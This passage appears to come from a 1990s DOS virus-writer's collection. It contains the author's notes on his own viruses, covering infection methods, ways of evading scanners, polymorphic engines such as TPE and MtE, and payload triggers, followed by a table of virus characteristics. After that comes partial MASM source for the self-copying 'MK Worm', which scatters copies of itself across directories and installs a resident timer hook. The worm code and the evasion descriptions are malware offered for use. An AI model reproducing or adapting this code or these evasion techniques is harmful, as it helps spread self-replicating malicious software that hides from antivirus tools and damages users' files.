version 1. The special thing about this virus is that it contains
|
||||||
|
scan-strings of a few other viruses. These scan-strings are encrypted
|
||||||
|
and in every infected file one of them is decrypted. So scanners can be
|
||||||
|
fooled to think that there are up to 8 differrent other viruses in case
|
||||||
|
a lot of files have been infected with this virus.
|
||||||
|
|
||||||
|
|
||||||
|
Gotcha 6
|
||||||
|
|
||||||
|
This version is the follow-up of version 1. This one has some additional
|
||||||
|
features. It can also infect files when they are opened, it avoids to
|
||||||
|
infect files matching the name *AN*.* (like SCAN.EXE, CLEAN.EXE,
|
||||||
|
TBSCAN.EXE etc...) and it won't infect files when the DOS environment
|
||||||
|
contains "E=mcý".
|
||||||
|
|
||||||
|
|
||||||
|
Gotcha 7
|
||||||
|
|
||||||
|
This is a minor bug-fix of version 6.
|
||||||
|
|
||||||
|
|
||||||
|
Gotcha 9
|
||||||
|
|
||||||
|
In this next version a few bugs are removed and the code has been made
|
||||||
|
a little bit efficient. It can also infect files on more different DOS
|
||||||
|
funcions like rename (56h), attribute (43h), findfirst (4Eh) and many
|
||||||
|
others. It now also avoids files matching the name V*.* (like VIRX.EXE,
|
||||||
|
VSHIELD.EXE, etc..).
|
||||||
|
|
||||||
|
|
||||||
|
Gotcha 17
|
||||||
|
|
||||||
|
This version is quite different from the others. It uses another technique
|
||||||
|
to access files, similar as many bulgarian viruses (like 512). Also other
|
||||||
|
things are made more efficient. This one only infects files when they are
|
||||||
|
executed or closed. It now also avoids files matching the name F*.*.
|
||||||
|
|
||||||
|
|
||||||
|
46 Virus
|
||||||
|
|
||||||
|
This is an extremely simple virus. It just overwrites all COM files in
|
||||||
|
it's directory with a copy of itself. It's length is 46 bytes, hence the
|
||||||
|
name.
|
||||||
|
|
||||||
|
|
||||||
|
Seventh Son 1
|
||||||
|
|
||||||
|
This is a simple non-resident COM infecting virus. It will infect all
|
||||||
|
other COM files in it's directory. It circumvents read-only attributes,
|
||||||
|
intercepts INT24, disables Ctrl-break and keeps the original file date
|
||||||
|
and time when infecting. The virus contains a generation counter. If
|
||||||
|
both his own and the previous generation are 7, it will display the text
|
||||||
|
"Seventh son of a seventh son" on the screen. This virus was named after
|
||||||
|
an Iron Maiden song (yes, I admit, not very original).
|
||||||
|
|
||||||
|
|
||||||
|
Seventh Son 2
|
||||||
|
|
||||||
|
This version is a little bit smaller and more efficiently coded. This
|
||||||
|
virus alsos contain the text 'Virus' in cyrilic (‚¨°³±) at the end. This
|
||||||
|
has no special purpose. Just to confuse some people.
|
||||||
|
|
||||||
|
|
||||||
|
Seventh son 4
|
||||||
|
|
||||||
|
This version is again made smaller and more efficient.
|
||||||
|
|
||||||
|
|
||||||
|
Little Brother 1
|
||||||
|
|
||||||
|
This is a resident spawning EXE infector. It infects EXE files by
|
||||||
|
creating a COM file with the same name, without touching the EXE file.
|
||||||
|
The COM file only contains the complete virus. The first time the virus
|
||||||
|
is executed it will install itself in an unused part of memory (and not
|
||||||
|
run the original program). When DOS wants to execute a program, the virus
|
||||||
|
uses a clumsy algorithm to decide whether a COM or an EXE file should be
|
||||||
|
executed.
|
||||||
|
|
||||||
|
|
||||||
|
Little Brother 2
|
||||||
|
|
||||||
|
In this version a few bugs are removed and it is also a bit more
|
||||||
|
efficiently coded.
|
||||||
|
|
||||||
|
|
||||||
|
Little Brother 3
|
||||||
|
|
||||||
|
This version works a little bit different than the previous two. This
|
||||||
|
one doesn't use the resident algorithm anymore to decide wether to
|
||||||
|
execute a COM or an EXE file. Instead the original EXE program is
|
||||||
|
spawned from the COM program (the virus).
|
||||||
|
|
||||||
|
|
||||||
|
Tiny 126
|
||||||
|
|
||||||
|
This is a small resident COM infecting virus. It is written as an attempt
|
||||||
|
to write the smallest possible virus. The length of this virus is 126
|
||||||
|
bytes. It does NOT re-infect programs that are already infected. This
|
||||||
|
virus hides in memory at address 0050:0100.
|
||||||
|
|
||||||
|
|
||||||
|
Tiny 124
|
||||||
|
|
||||||
|
This one is exactly the same as the previous one, only it hides at address
|
||||||
|
0000:0100. That location is part of the interrupt area, and because of
|
||||||
|
that this virus is very unstable. It crashes very often, but nevertheless
|
||||||
|
it is able to infect files.
|
||||||
|
|
||||||
|
|
||||||
|
Tiny 124B
|
||||||
|
|
||||||
|
This is a variant of version 126. It will not infect COM files that begin
|
||||||
|
with a near JMP (E9h). This version has a disadvantage that it also tries
|
||||||
|
to infect EXE files. Infected EXE files will not function anymore.
|
||||||
|
|
||||||
|
|
||||||
|
Tiny 122
|
||||||
|
|
||||||
|
This one is based on version 124. It has the same disadvantage as
|
||||||
|
version 124B.
|
||||||
|
|
||||||
|
|
||||||
|
Mini 99
|
||||||
|
|
||||||
|
This is a small non-resident COM infecting virus. Like the previous
|
||||||
|
mentioned viruses, this one too was written as an attempt to write the
|
||||||
|
smallest possible virus. A big part of the code is similar although it
|
||||||
|
is a different type of virus. This virus will infect all COM files in
|
||||||
|
it's directory.
|
||||||
|
|
||||||
|
|
||||||
|
Mini 97
|
||||||
|
|
||||||
|
This version is 2 bytes smaller. It will not infect COM files that begin
|
||||||
|
with a near JMP (E9h).
|
||||||
|
|
||||||
|
|
||||||
|
Mini 91
|
||||||
|
|
||||||
|
This version only tries to infect the first COM file in it's directory.
|
||||||
|
|
||||||
|
|
||||||
|
Mini 117
|
||||||
|
|
||||||
|
This one is a little bit improved variant. It will infect only the first
|
||||||
|
uninfected COM file in it's directory (if the first one is infected it
|
||||||
|
will infect the second one).
|
||||||
|
|
||||||
|
|
||||||
|
Mini 111
|
||||||
|
|
||||||
|
This is an improved version of Mini 97. This one will keep the original
|
||||||
|
DTA area, so programs that use command-line input will still function.
|
||||||
|
|
||||||
|
|
||||||
|
Cannabis 1
|
||||||
|
|
||||||
|
This is an overwriting floppy bootsector virus. It is a sort of
|
||||||
|
combination of a (simplified) bootsector and a virus. Instead of
|
||||||
|
keeping the original bootsector somewhere else on the disk, it just
|
||||||
|
overwrites the original bootsector. When an infected floppy is booted,
|
||||||
|
the virus installs itself in memory and then prints the message
|
||||||
|
"Non-System disk or disk error Replace and press a key when ready" on
|
||||||
|
the screen. Then it tries to boot again. One has to boot from another
|
||||||
|
disk or from harddisk to continue. But the virus will stay resident
|
||||||
|
in memory. Sometimes the virus will print the message "Hey man, I don't
|
||||||
|
wanna work. I'm too stoned right now..." on the screen when booting, and
|
||||||
|
the computer will then hang.
|
||||||
|
|
||||||
|
|
||||||
|
Cannabis 2
|
||||||
|
|
||||||
|
Unlike the previous version, this one is able to boot from the infected
|
||||||
|
disk, just like normal bootsectors. It doesn't contain the part that
|
||||||
|
writes the "Hey man..." message anymore.
|
||||||
|
|
||||||
|
|
||||||
|
Cannabis 3
|
||||||
|
|
||||||
|
This is a minor bug-fix of version 2. The previous versions had a serious
|
||||||
|
bug that they sometimes wrote to the wrong side of the floppy.
|
||||||
|
|
||||||
|
|
||||||
|
Pogue Mahone
|
||||||
|
|
||||||
|
This one is the most famous virus of this collection. It is a resident
|
||||||
|
COM infecting virus. It's based on the last version of the Gotcha virus.
|
||||||
|
The most remarkable thing about this virus is that it uses the Mutation
|
||||||
|
Engine (MtE). The Mutation Engine is a small module written by "Dark
|
||||||
|
Avenger", which can be included in viruses to make them polymorphic.
|
||||||
|
This virus does not infect files matching the name CO*.COM (like
|
||||||
|
COMMAND.COM). When the virus becomes resident between 1:00 and 9:00
|
||||||
|
it will play the song 'Streams of Whiskey' (by The Pogues!). On the first
|
||||||
|
of May it will play another song.
|
||||||
|
|
||||||
|
|
||||||
|
Redhair ANSI bomb
|
||||||
|
|
||||||
|
This is not a virus but an ANSI bomb. Unlike most other bombs this one
|
||||||
|
does not destroy anything. This bomb is in fact both an ANSI picture and
|
||||||
|
a COM file. The COM file is infected with the MINI-117 virus. When the
|
||||||
|
ANSI bomb triggers (when the backslash key is pressed) it will rename
|
||||||
|
itself to X.COM and then execute X.COM. So the virus is then activated!
|
||||||
|
After that it changes it's name back to REDHAIR.ANS.
|
||||||
|
|
||||||
|
|
||||||
|
ANSI virus
|
||||||
|
|
||||||
|
This is another program that uses ANSI techniques. It's not just an ANSI
|
||||||
|
bomb but an ANSI virus! Many people think ANSI viruses don't exist, but
|
||||||
|
this one proves them wrong. This one uses the same trick as Redhair, it's
|
||||||
|
at the same time an ANSI picture and a COM program. When activated, it
|
||||||
|
will overwrite one .ANS file in the directory with a copy of itself. It
|
||||||
|
adjusts the text in the virus to the victim's filename.
|
||||||
|
|
||||||
|
|
||||||
|
Legalize
|
||||||
|
|
||||||
|
This is another virus that is based on Gotcha 17. It is a resident
|
||||||
|
COM and EXE infector. It doesn't infect CO*.*. The special thing about
|
||||||
|
this virus is that it will display a picture of a large green hemp leaf
|
||||||
|
when the virus becomes resident on fridays. After showing the picture,
|
||||||
|
the virus will ask the user a few questions about what he/she thinks
|
||||||
|
about legalizing cannabis. After this, the virus will quit to DOS.
|
||||||
|
The picture in the virus is packed with DIET to keep the virus small.
|
||||||
|
A few small bugs from Gotcha 17 are fixed in this virus, but unfortunatly
|
||||||
|
this virus has a new bug which causes some infected EXE programs to crash.
|
||||||
|
|
||||||
|
|
||||||
|
Coffeeshop 1
|
||||||
|
|
||||||
|
This one is based on Gotcha 17 and Legalize. Originally it was planned
|
||||||
|
to be a final bug-free version of Gotcha, but later I put the picture
|
||||||
|
routine from Legalize in it. Although it is based on Gotcha 17, a large
|
||||||
|
part of it has changed. It infects COM or EXE files when it is executed
|
||||||
|
or opened with DOS function 6C00h. It avoids to infect several known
|
||||||
|
programs that use a self-check (like most virus scanners). It also doesn't
|
||||||
|
infect several other files, like Windows files, files with internal
|
||||||
|
overlays etc. The virus doesn't use any undocumented features of DOS
|
||||||
|
anymore. I wanted it to be as compatible as possible. The picture routine
|
||||||
|
is also improved. It activates on fridays on a pseudo-random base when the
|
||||||
|
virus becomes resident. It will then show the big green hemp leaf and
|
||||||
|
after that it will continue with the original program (unlike Legalize).
|
||||||
|
|
||||||
|
|
||||||
|
Coffeeshop 2
|
||||||
|
|
||||||
|
This virus is very similar to the previous one, but with MtE included.
|
||||||
|
It only infects EXE files. At the time this virus was made a lot of
|
||||||
|
scanners claimed that they were able to detect MtE, but none of them
|
||||||
|
could detect this virus.
|
||||||
|
|
||||||
|
|
||||||
|
Coffeeshop 3
|
||||||
|
|
||||||
|
This one too is very similar to the previous ones. Like version 2,
|
||||||
|
this one is also highly polymorphic. But instead of using MtE, I wrote
|
||||||
|
the encrytion routine myself. It infects both COM and EXE files.
|
||||||
|
|
||||||
|
|
||||||
|
Coffeeshop 4
|
||||||
|
|
||||||
|
This is a minor bugfix of version 3. This one can also activate when
|
||||||
|
the virus is already resident.
|
||||||
|
|
||||||
|
|
||||||
|
Virus_for_Windows 1.4
|
||||||
|
|
||||||
|
This is a primitive non-resident virus that only infects Windows EXE
|
||||||
|
program. As far as I know this is the first known Windows virus. It
|
||||||
|
will try to infect all Windows EXE files in its directory. This virus
|
||||||
|
has a big problem, it is not able to execute the original program.
|
||||||
|
As a solution to this the virus will disinfect itself after infecting
|
||||||
|
the other programs. So one has to execute infected programs twice to
|
||||||
|
execute the original program. This virus will only infect programs which
|
||||||
|
have a big enough data-segment.
|
||||||
|
|
||||||
|
|
||||||
|
MK Worm
|
||||||
|
|
||||||
|
This is not a real virus, but some simple kind of worm. It does not
|
||||||
|
infect programs in any way. Instead it will only copy itself to a few
|
||||||
|
other directories on the disk from which it was executed. Each variant
|
||||||
|
will have a different name and also their lenghts will be slightly
|
||||||
|
different. It can spread because many people are used to try out every
|
||||||
|
new executable file they get, and many people often use the command
|
||||||
|
'COPY *.*'.
|
||||||
|
|
||||||
|
|
||||||
|
Cruncher 1.0
|
||||||
|
|
||||||
|
This is a virus that uses data-compression. It is a resident COM
|
||||||
|
infector, based on the Coffeeshop series. It compresses the victim file
|
||||||
|
after infection. So the virus will be compressed together with the
|
||||||
|
original program. The compression algorithm is the same as that of the
|
||||||
|
program 'Diet'.
|
||||||
|
|
||||||
|
|
||||||
|
Cruncher 2.0
|
||||||
|
|
||||||
|
This version also infects EXE files.
|
||||||
|
|
||||||
|
|
||||||
|
Cruncher 2.1
|
||||||
|
|
||||||
|
This version is almost equal to version 2.0 but this one asks permission
|
||||||
|
from the user before going resident. This feature changes it from a
|
||||||
|
naughty virus into a userfriendly automatic compression utility!
|
||||||
|
|
||||||
|
|
||||||
|
TPE 1.1
|
||||||
|
|
||||||
|
This is an OBJ module that can be linked to a virus to make it
|
||||||
|
polymorphic. It can be used in a similar way as the famous MtE
|
||||||
|
module. The encryption routine of TPE is taken from Coffeeshop
|
||||||
|
version 3/4.
|
||||||
|
|
||||||
|
|
||||||
|
TPE 1.2
|
||||||
|
|
||||||
|
This is a bugfix. The previous version often produced decryption
|
||||||
|
routines that didn't work on all processor types.
|
||||||
|
|
||||||
|
|
||||||
|
TPE 1.3
|
||||||
|
|
||||||
|
This is a another bugfix. This version is made fully relocatable
|
||||||
|
within a memory segment, which is very handy for non-resident
|
||||||
|
viruses. Also another incompatibility bug is fixed.
|
||||||
|
|
||||||
|
|
||||||
|
TPE 1.4
|
||||||
|
|
||||||
|
In this version the encryption/decryption algorithms are made more
|
||||||
|
complex. The previous versions could be detected by decrypting the
|
||||||
|
encrypted code.
|
||||||
|
|
||||||
|
|
||||||
|
PlayGame
|
||||||
|
|
||||||
|
This is a semi-stealth multi-partite EXE-infector. This virus infects
|
||||||
|
the master bootsector of the harddisk when an infected program is
|
||||||
|
executed. The virus only uses stealth techniques when a known anti-virus
|
||||||
|
program is executed or at the 'DIR' command. The payload of this virus
|
||||||
|
is a little arcade game that the user can play for fun. It activates in
|
||||||
|
december after 21:00.
|
||||||
|
|
||||||
|
|
||||||
|
DOS-1
|
||||||
|
|
||||||
|
This is a simple non-resident COM infector. It uses only FCB function
|
||||||
|
calls, so it is compatible with all previous DOS versions, including
|
||||||
|
version 1.0.
|
||||||
|
|
||||||
|
|
||||||
|
Bosnia
|
||||||
|
|
||||||
|
This is a variant of Coffeeshop 3/4, but with another picture routine.
|
||||||
|
The TPE 1.4 module is linked with this virus.
|
||||||
|
|
||||||
|
|
||||||
|
PCA virus
|
||||||
|
|
||||||
|
This is a very simple overwriting virus. After infecting it shows a
|
||||||
|
picture of the mascotte of the dutch magazine "PC Active". The picture
|
||||||
|
inside the virus is compressed in a special way, to keep the virus
|
||||||
|
small.
|
||||||
|
|
||||||
|
|
||||||
|
==============================================================================
|
||||||
|
|
||||||
|
Virus Characteristics List
|
||||||
|
|
||||||
|
|
||||||
|
ANSI keyboard remap-------------------+
|
||||||
|
Polymorphic-------------------------+ |
|
||||||
|
Infects Windows EXE files---------+ | |
|
||||||
|
Infects EXE files---------------+ | | |
|
||||||
|
Infects COM files-------------+ | | | |
|
||||||
|
Memory Resident-------------+ | | | | |
|
||||||
|
Overwriting---------------+ | | | | | |
|
||||||
|
Bootsector virus--------+ | | | | | | |
|
||||||
|
| | | | | | | |
|
||||||
|
V V V V V V V V Length
|
||||||
|
---------------------------------------------------
|
||||||
|
Gotcha 1 . . R C E . . . 732
|
||||||
|
Gotcha 4 . . R C . . . . 607
|
||||||
|
Gotcha 6 . . R C E . . . 879
|
||||||
|
Gotcha 7 . . R C E . . . 881
|
||||||
|
Gotcha 9 . . R C E . . . 906
|
||||||
|
Gotcha 17 . . R C E . . . 627
|
||||||
|
46 Virus . O . C . . . . 46
|
||||||
|
Seventh Son 1 . . . C . . . . 350
|
||||||
|
Seventh Son 2 . . . C . . . . 332
|
||||||
|
Seventh Son 4 . . . C . . . . 284
|
||||||
|
Little Brother 1 . . R . E . . . 299
|
||||||
|
Little Brother 2 . . R . E . . . 307
|
||||||
|
Little Brother 3 . . R . E . . . 321
|
||||||
|
Tiny 126 . . R C . . . . 126
|
||||||
|
Tiny 124 . . R C . . . . 124
|
||||||
|
Tiny 124B . . R C E . . . 124
|
||||||
|
Tiny 122 . . R C E . . . 122
|
||||||
|
Mini 99 . . . C . . . . 99
|
||||||
|
Mini 97 . . . C . . . . 97
|
||||||
|
Mini 91 . . . C . . . . 91
|
||||||
|
Mini 117 . . . C . . . . 117
|
||||||
|
Mini 111 . . . C . . . . 111
|
||||||
|
Cannabis 1 B O R . . . . . 512
|
||||||
|
Cannabis 2 B O R . . . . . 512
|
||||||
|
Cannabis 3 B O R . . . . . 512
|
||||||
|
Pogue Mahone . . R C . . P . 3017+
|
||||||
|
Redhair ANSI bomb . . . . . . . A -
|
||||||
|
ANSI virus . O . . . . . A 881
|
||||||
|
Legalize . . R C E . . . 1781
|
||||||
|
Coffeeshop 1 . . R C E . . . 1568
|
||||||
|
Coffeeshop 2 . . R . E . P . 3792+
|
||||||
|
Coffeeshop 3 . . R C E . P . 3000+
|
||||||
|
Coffeeshop 4 . . R C E . P . 3000+
|
||||||
|
Virus_for_Windows 1.4 . . . . . W . . 854
|
||||||
|
MK Worm . . . . . . . . 715+
|
||||||
|
Cruncher 1.0 . . R C . . . . 2092-
|
||||||
|
Cruncher 2.0 . . R C E . . . 4000-
|
||||||
|
Cruncher 2.1 . . R C E . . . 4800-
|
||||||
|
TPE 1.1 . . . . . . P . 1378
|
||||||
|
TPE 1.2 . . . . . . P . 1355
|
||||||
|
TPE 1.3 . . . . . . P . 1411
|
||||||
|
TPE 1.4 . . . . . . P . 1637
|
||||||
|
PlayGame B . R . E . . . 2000
|
||||||
|
Dos-1 . . . C . . . . 184
|
||||||
|
Bosnia . . R C E . P . 3112+
|
||||||
|
PCA virus . O . C . . . . 342
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
@@ -0,0 +1,467 @@
|
|||||||
|
;**********************************************************************
|
||||||
|
;*
|
||||||
|
;* MK Worm
|
||||||
|
;*
|
||||||
|
;* Compile with MASM 4.0
|
||||||
|
;*
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
cseg segment
|
||||||
|
assume cs:cseg,ds:cseg,es:cseg
|
||||||
|
.radix 16
|
||||||
|
org 0100
|
||||||
|
|
||||||
|
|
||||||
|
wormlen equ 8
|
||||||
|
filelen equ eind - begin
|
||||||
|
old_dir equ eind
|
||||||
|
DTA equ offset eind + 100d
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* Main program
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
begin: call rnd_init
|
||||||
|
|
||||||
|
mov bp,DTA ;change DTA
|
||||||
|
call set_DTA
|
||||||
|
|
||||||
|
mov ah,47 ;get name of current directory
|
||||||
|
cwd
|
||||||
|
mov si,offset old_dir
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov dx,offset root_dir ;goto root
|
||||||
|
call chdir
|
||||||
|
|
||||||
|
call search ;search directory's
|
||||||
|
|
||||||
|
mov dx,offset old_dir ;goto original directory
|
||||||
|
call chdir
|
||||||
|
|
||||||
|
call rnd_get ;go resident?
|
||||||
|
and al,0F
|
||||||
|
jz go_res
|
||||||
|
|
||||||
|
int 20
|
||||||
|
|
||||||
|
go_res: mov ax,351C ;go resident!
|
||||||
|
int 21
|
||||||
|
lea si,oldvec
|
||||||
|
mov [si],bx
|
||||||
|
mov [si+2],es
|
||||||
|
lea dx,routine
|
||||||
|
mov ax,251C
|
||||||
|
int 21
|
||||||
|
mov dx,offset eind
|
||||||
|
int 27
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* search dir
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
search: mov dx,offset dirname ;search *.*
|
||||||
|
mov cx,16
|
||||||
|
mov ah,4E
|
||||||
|
finddir: int 21
|
||||||
|
jc no_dir
|
||||||
|
|
||||||
|
test byte ptr [bp+15],10 ;directory?
|
||||||
|
je next_dir
|
||||||
|
cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ?
|
||||||
|
je next_dir
|
||||||
|
|
||||||
|
lea dx,[bp+1E] ;goto directory
|
||||||
|
call chdir
|
||||||
|
lea bp,[bp+2C] ;change DTA
|
||||||
|
call set_DTA
|
||||||
|
|
||||||
|
call search ;searc directory (recurse!)
|
||||||
|
|
||||||
|
lea bp,[bp-2C] ;goto previous DAT
|
||||||
|
call set_DTA
|
||||||
|
mov dx,offset back_dir ;'CD ..'
|
||||||
|
call chdir
|
||||||
|
|
||||||
|
next_dir: mov ah,4F ;find next
|
||||||
|
jmp short finddir
|
||||||
|
|
||||||
|
no_dir: call rnd_get ;copy worm to this directory?
|
||||||
|
and al,3
|
||||||
|
jnz no_worm
|
||||||
|
|
||||||
|
mov dx,offset comname ;search *.com
|
||||||
|
mov ah,4E
|
||||||
|
mov cx,06
|
||||||
|
findcom: int 21
|
||||||
|
jc makeit
|
||||||
|
|
||||||
|
mov ax,word ptr [bp-1A] ;worm already there?
|
||||||
|
sub ax,filelen
|
||||||
|
cmp ax,10
|
||||||
|
jnb no_worm
|
||||||
|
|
||||||
|
mov ah,4F
|
||||||
|
jmp short findcom
|
||||||
|
|
||||||
|
|
||||||
|
makeit: call makeworm ;copy the worm!
|
||||||
|
|
||||||
|
no_worm: ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* change dir
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
chdir: mov ah,3Bh
|
||||||
|
int 21
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* set DTA
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
set_DTA: mov dx,bp
|
||||||
|
mov ah,1A
|
||||||
|
int 21
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* create worm
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
makeworm: mov ah,5A ;create unique filename
|
||||||
|
xor cx,cx
|
||||||
|
mov dx,offset filename
|
||||||
|
mov si,offset restname
|
||||||
|
mov byte ptr [si],0
|
||||||
|
int 21
|
||||||
|
xchg ax,bx
|
||||||
|
|
||||||
|
mov ah,40 ;write worm
|
||||||
|
mov cx,filelen
|
||||||
|
mov dx,0100
|
||||||
|
int 21
|
||||||
|
|
||||||
|
call rnd_get ;append a few bytes
|
||||||
|
and ax,0F
|
||||||
|
xchg ax,cx
|
||||||
|
mov dx,0100
|
||||||
|
mov ah,40
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov ah,3E ;close file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
lea di,[si+13d] ;copy filename
|
||||||
|
push di
|
||||||
|
push si
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
mov si,offset comname+1
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
|
||||||
|
pop dx ;rename file to .COM
|
||||||
|
pop di
|
||||||
|
mov ah,56
|
||||||
|
int 21
|
||||||
|
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* new int 1C handler
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
routine: cli ;save registers
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
|
||||||
|
push cs
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
|
||||||
|
zzz3: inc byte ptr [count]
|
||||||
|
mov al,byte ptr [count]
|
||||||
|
test al,1 ;only every 2nd tick
|
||||||
|
jz nothing
|
||||||
|
cmp al,3 ;don't change direction yet
|
||||||
|
jb zzz2
|
||||||
|
call rnd_get
|
||||||
|
and al,3 ;change direction?
|
||||||
|
jnz zzz2
|
||||||
|
|
||||||
|
zzz0: call dirchange ;change direction!
|
||||||
|
mov al,byte ptr [direction]
|
||||||
|
xor al,byte ptr [old_direc]
|
||||||
|
and al,1
|
||||||
|
jz zzz0 ;90 degrees with old direction?
|
||||||
|
|
||||||
|
zzz2: call getnext ;calculate next position
|
||||||
|
call checknext ;does it hit the border?
|
||||||
|
jc zzz0
|
||||||
|
|
||||||
|
mov al,byte ptr [direction] ;save old direction
|
||||||
|
mov byte ptr [old_direc],al
|
||||||
|
call moveworm
|
||||||
|
|
||||||
|
mov ah,0F ;ask video mode
|
||||||
|
int 10
|
||||||
|
cmp al,7
|
||||||
|
jz goodmode
|
||||||
|
cmp al,4
|
||||||
|
jnb nothing
|
||||||
|
cmp al,2
|
||||||
|
jb nothing
|
||||||
|
|
||||||
|
goodmode: mov ah,3 ;read cursor position
|
||||||
|
int 10
|
||||||
|
push dx
|
||||||
|
|
||||||
|
call printworm
|
||||||
|
|
||||||
|
pop dx ;restore cursor position
|
||||||
|
mov ah,2
|
||||||
|
int 10
|
||||||
|
|
||||||
|
nothing: pop di
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
sti
|
||||||
|
|
||||||
|
jmp cs:[oldvec] ;original vector
|
||||||
|
|
||||||
|
oldvec dd 0
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* changes direction of worm
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
dirchange: call rnd_get ;get random numbar
|
||||||
|
and al,2
|
||||||
|
mov ah,byte ptr [direction] ;change direction 90 degrees
|
||||||
|
xor ah,0FF
|
||||||
|
and ah,1
|
||||||
|
or ah,al
|
||||||
|
mov byte ptr [direction],ah
|
||||||
|
mov byte ptr [count],0
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* finds next position of the worm
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
getnext: mov al,byte ptr [yval+wormlen]
|
||||||
|
mov byte ptr [yval+wormlen+1],al
|
||||||
|
mov al,byte ptr [xval+wormlen]
|
||||||
|
mov byte ptr [xval+wormlen+1],al
|
||||||
|
|
||||||
|
mov ah,byte ptr [direction]
|
||||||
|
cmp ah,3
|
||||||
|
je is_3
|
||||||
|
cmp ah,2
|
||||||
|
je is_2
|
||||||
|
cmp ah,1
|
||||||
|
je is_1
|
||||||
|
|
||||||
|
is_0: mov al,byte ptr [yval+wormlen] ;up
|
||||||
|
dec al
|
||||||
|
mov byte ptr [yval+wormlen+1],al
|
||||||
|
ret
|
||||||
|
|
||||||
|
is_1: mov al,byte ptr [xval+wormlen] ;left
|
||||||
|
dec al
|
||||||
|
dec al
|
||||||
|
mov byte ptr [xval+wormlen+1],al
|
||||||
|
ret
|
||||||
|
|
||||||
|
is_2: mov al,byte ptr [yval+wormlen] ;down
|
||||||
|
inc al
|
||||||
|
mov byte ptr [yval+wormlen+1],al
|
||||||
|
ret
|
||||||
|
|
||||||
|
is_3: mov al,byte ptr [xval+wormlen] ;right
|
||||||
|
inc al
|
||||||
|
inc al
|
||||||
|
mov byte ptr [xval+wormlen+1],al
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* checks if worm will hit borders
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
checknext: mov al,byte ptr [xval+wormlen+1]
|
||||||
|
cmp al,0
|
||||||
|
jl fout
|
||||||
|
cmp al,80d
|
||||||
|
jae fout
|
||||||
|
|
||||||
|
mov al,byte ptr [yval+wormlen+1]
|
||||||
|
cmp al,0
|
||||||
|
jl fout
|
||||||
|
cmp al,25d
|
||||||
|
jae fout
|
||||||
|
|
||||||
|
clc
|
||||||
|
ret
|
||||||
|
fout: stc
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* move the worm
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
moveworm: mov si,offset xval+1
|
||||||
|
lea di,[si-1]
|
||||||
|
mov cx,wormlen+1
|
||||||
|
rep movsb
|
||||||
|
mov si,offset yval+1
|
||||||
|
lea di,[si-1]
|
||||||
|
mov cx,wormlen+1
|
||||||
|
rep movsb
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* print the worm on screen
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
|
printworm: mov si,offset xval
|
||||||
|
call move
|
||||||
|
mov al,20 ;print space on rear end
|
||||||
|
call print
|
||||||
|
mov cx,wormlen-1
|
||||||
|
lup: call move
|
||||||
|
mov al,0F ;print dots
|
||||||
|
call print
|
||||||
|
loop lup
|
||||||
|
call move
|
||||||
|
mov al,2 ;print head of worm
|
||||||
|
call print
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;**********************************************************************
|
||||||
|
;* move the cursor
|
||||||
|
;**********************************************************************
|
||||||
|
|
||||||
